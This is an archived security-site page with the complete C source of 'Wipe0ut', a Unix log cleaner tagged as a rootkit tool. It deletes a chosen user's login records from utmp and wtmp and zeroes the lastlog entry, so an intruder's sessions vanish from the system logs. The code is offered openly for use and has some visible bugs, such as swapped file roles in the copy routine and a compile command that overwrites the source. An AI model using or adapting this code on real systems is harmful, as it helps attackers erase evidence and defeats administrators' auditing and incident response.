exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Wipe0ut.c

Wipe0ut.c
Posted Jul 17, 2000
Authored by Xphere | Site casema.net

WipeOut v1.0 is a log cleaner which uses temporary files to remove the entry not just zeroing the entry out. All other cleaners only look for the login name and doesn't check the hostname, so it is possible to cloak the wrong user. This tool does check if the hostname is the correct one.

tags | tool, rootkit
systems | unix
SHA-256 | ede3c9c209f66b8fdbb5b4903f5fb8f97f467aaf7062dc46c018197b0e345a69

Wipe0ut.c

Change Mirror Download
/*
* Wipe0ut v1.0
*
* Copyright (C) 2000 Xphere (Xphere@bofh.obit.nl).
*
* Yeah, this is ANOTHER log cleaner for *NIX. Why I wrote ANOTHER log cleaner
* you ask me? Because the other ones were not satisfying enough. The most
* cleaners zero the entry out. This cleaner uses temporary files to REMOVE
* the entry not just zeroing the entry out (except for the lastlog, because
* there is no easy way to retrieve the old entry once logged in). All the
* cleaners I know, only look for the login name and doesn't check the
* hostname. So it is possible to cloak the wrong user. This tool does check
* if the hostname is the correct one. E-mail comments and whatever you want
* to Xphere (Xphere@bofh.obit.nl).
*
* Compile: gcc Wipe0ut.c -o Wipe0ut.c
*
* Greetz: #phreak.nl - http://www.casema.net/~gin
*
*/



#include <stdio.h>
#include <fcntl.h>
#include <utmp.h>
#include <string.h>
#include <unistd.h>
#include <lastlog.h>
#include <pwd.h>

#define UTMP "/var/run/utmp"
#define WTMP "/var/log/wtmp"
#define LASTLOG "/var/log/lastlog"



int copyfile(int type)
{
int f, d, h;
char buf[BUFSIZ];

if (type == 0) {
f = open(UTMP, O_WRONLY);
d = open("/tmp/.utmp", O_RDONLY);
}
else if (type == 1) {
f = open(WTMP, O_WRONLY);
d = open("/tmp/.wtmp", O_RDONLY);
}

if (f < 0 || d < 0) {
return(-1);
}
else {
while ((h = read(f, buf, BUFSIZ)) > -1) {
if (write(d, buf, h) != h) {
return(-1);
}
}
close(f);
close(d);
if (type == 0) {
unlink("/tmp/.utmp");
}
else if (type == 1) {
unlink("/tmp/.wtmp");
}
}
return(0);
}



void proc_utmp(char user[32], char host[255])
{
int t, f;
struct utmp ut;

fprintf(stderr, "Processing UTMP: ");
if (((t = open(UTMP, O_RDONLY)) > -1) &&
((f = creat("/tmp/.utmp", 0666)) > -1)) {
while (read(t, &ut, sizeof(struct utmp))) {
if (!strncmp(user, ut.ut_user, strlen(ut.ut_user)) &&
(strlen(user) == strlen(ut.ut_user))) {
if (!strncmp(host, ut.ut_host, strlen(ut.ut_host)) &&
(strlen(host) == strlen(ut.ut_host))) {
/* Yeah, skip it! */
}
else if (strlen(ut.ut_host) == 0 && atoi(host) == 0) {
/* Yeah, skip it! */
}
else {
write(f, &ut, sizeof(struct utmp));
}
}
else {
write(f, &ut, sizeof(struct utmp));
}
}
close(t);
close(f);
if (copyfile(0) < 0) {
fprintf(stderr, "error! ");
fprintf(stderr, "Skipping UTMP.\n");
unlink("/tmp/.utmp");
}
else {
fprintf(stderr, "done.\n");
}
}
else {
fprintf(stderr, "error! ");
fprintf(stderr, "Skipping UTMP.\n");
}
return;
}



proc_wtmp(char user[32], char host[255])
{
int t, f;
struct utmp ut;

fprintf(stderr, "Processing WTMP: ");
if (((t = open(WTMP, O_RDONLY)) > -1) &&
((f = creat("/tmp/.wtmp", 0666)) > -1)) {
while (read(t, &ut, sizeof(struct utmp))) {
if (!strncmp(user, ut.ut_user, strlen(ut.ut_user)) &&
(strlen(user) == strlen(ut.ut_user))) {
if (!strncmp(host, ut.ut_host, strlen(ut.ut_host)) &&
(strlen(host) == strlen(ut.ut_host))) {
/* Yeah, skip it! */
}
else if (strlen(ut.ut_host) == 0 && atoi(host) == 0) {
/* Yeah, skip it! */
}
else {
write(f, &ut, sizeof(struct utmp));
}
}
else {
write(f, &ut, sizeof(struct utmp));
}
}
close(t);
close(f);
if (copyfile(1) < 0) {
fprintf(stderr, "error! ");
fprintf(stderr, "Skipping WTMP.\n");
unlink("/tmp/.wtmp");
}
else {
fprintf(stderr, "done.\n");
}
}
else {
fprintf(stderr, "error! ");
fprintf(stderr, "Skipping WTMP.\n");
}
return;
}



void proc_lastlog(char user[32])
{
int f;
struct lastlog last;
struct passwd *pass;

fprintf(stderr, "Processing LASTLOG: ");
if (((f = open(LASTLOG, O_RDWR)) > -1) &&
((pass = getpwnam(user)) != NULL)) {

lseek(f, sizeof(struct lastlog) * pass->pw_uid, SEEK_SET);
bzero(&last, sizeof(last));
write(f, &last, sizeof(last));
close(f);
fprintf(stderr, "done.\n");
}
else {
fprintf(stderr, "error! ");
fprintf(stderr, "Skipping LASTLOG.\n");
}
return;
}



int main(int argc, char *argv[])
{
char user[32];
char host[256];
char ip[13];

fprintf(stderr, "\n\e[0;34m[ Wipe0ut v1.0 ");
fprintf(stderr, "by: Xphere -- #phreak.nl ]\e[0m\n\n\n");

if (argc != 4) {
fprintf(stderr, "Usage: %s <user> <host> <ip>\n", argv[0]);
fprintf(stderr, "Or to wipe out a console user: ");
fprintf(stderr, "%s <user> 0 0\n\n", argv[0]);
fprintf(stderr, "Example: %s rewt ", argv[0]);
fprintf(stderr, "ich.bin.hax0r.com 10.0.0.34\n");
exit(-1);
}

strncpy(user, argv[1], 31);
strncpy(host, argv[2], 255);
strncpy(ip, argv[2], 12);

proc_utmp(user, host);
proc_wtmp(user, host);
proc_lastlog(user);
fprintf(stderr, "Program exitting.\n");
exit(0);
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close